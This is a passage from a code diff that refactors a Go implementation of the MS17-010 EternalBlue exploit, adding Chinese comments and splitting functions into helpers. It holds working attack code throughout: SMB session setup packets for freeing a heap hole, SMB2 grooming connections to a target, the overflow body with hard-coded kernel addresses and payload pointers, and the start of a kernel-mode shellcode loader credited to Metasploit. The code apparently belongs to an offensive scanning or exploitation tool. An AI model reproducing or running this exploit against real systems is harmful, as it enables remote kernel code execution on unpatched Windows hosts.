buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeSessionSetupFreeHoleRequest 写入会话设置请求 +func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) { + // 字段数 + buf.WriteByte(0x0C) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x00, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write(vcNum) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 安全数据长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // 字节数 + buf.Write([]byte{0x16, 0x00}) + // 原生操作系统 + buf.Write(nativeOS) + // 额外参数 + buf.Write(makeZero(17)) +} + +// smb2Grooms 创建多个SMB2连接 func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + // 创建SMB2头 header := makeSMB2Header() + var ( conns []net.Conn ok bool ) + + // 失败时关闭所有连接 defer func() { if ok { return } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() + for _, conn := range conns { + _ = conn.Close() } }() + + // 建立多个连接 for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) + // 创建TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + + // 发送SMB2头 + if _, err = conn.Write(header); err != nil { + return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) } + conns = append(conns, conn) } + ok = true return conns, nil } +const ( + packetMaxLen = 4204 // 数据包最大长度 + packetSetupLen = 497 // 数据包设置部分长度 +) + +// makeSMB2Header 创建SMB2协议头 func makeSMB2Header() []byte { buf := bytes.Buffer{} + + // SMB2协议标识 buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) buf.WriteString("SMB") + + // 填充剩余字节 buf.Write(makeZero(124)) + return buf.Bytes() } -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - +// makeSMB2Body 创建SMB2协议体 func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding + const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度 buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) + // 写入填充数据 + writePaddingData(&buf) - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) + // 写入KI_USER_SHARED_DATA地址 + writeSharedDataAddresses(&buf) - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) + // 写入负载地址和相关数据 + writePayloadAddresses(&buf) - // set payload + // 写入负载数据 buf.Write(payload) - // fill out the rest, this can be randomly generated + // 填充剩余空间(可随机生成) buf.Write(makeZero(packetMaxPayload - len(payload))) return buf.Bytes() } +// writePaddingData 写入填充数据 +func writePaddingData(buf *bytes.Buffer) { + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) +} + +// writeSharedDataAddresses 写入共享数据地址 +func writeSharedDataAddresses(buf *bytes.Buffer) { + // x64地址 + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + + // x86地址 + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) +} + +// writePayloadAddresses 写入负载地址和相关数据 +func writePayloadAddresses(buf *bytes.Buffer) { + // 负载地址 + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + // 附加数据 + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) +} + +// makeZero 创建指定大小的零值字节切片 func makeZero(size int) []byte { return bytes.Repeat([]byte{0}, size) } -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +// loader 用于在内核模式下运行用户模式shellcode的加载器 +// 参考自Metasploit-Framework: +// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc var loader = [...]byte{ 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A,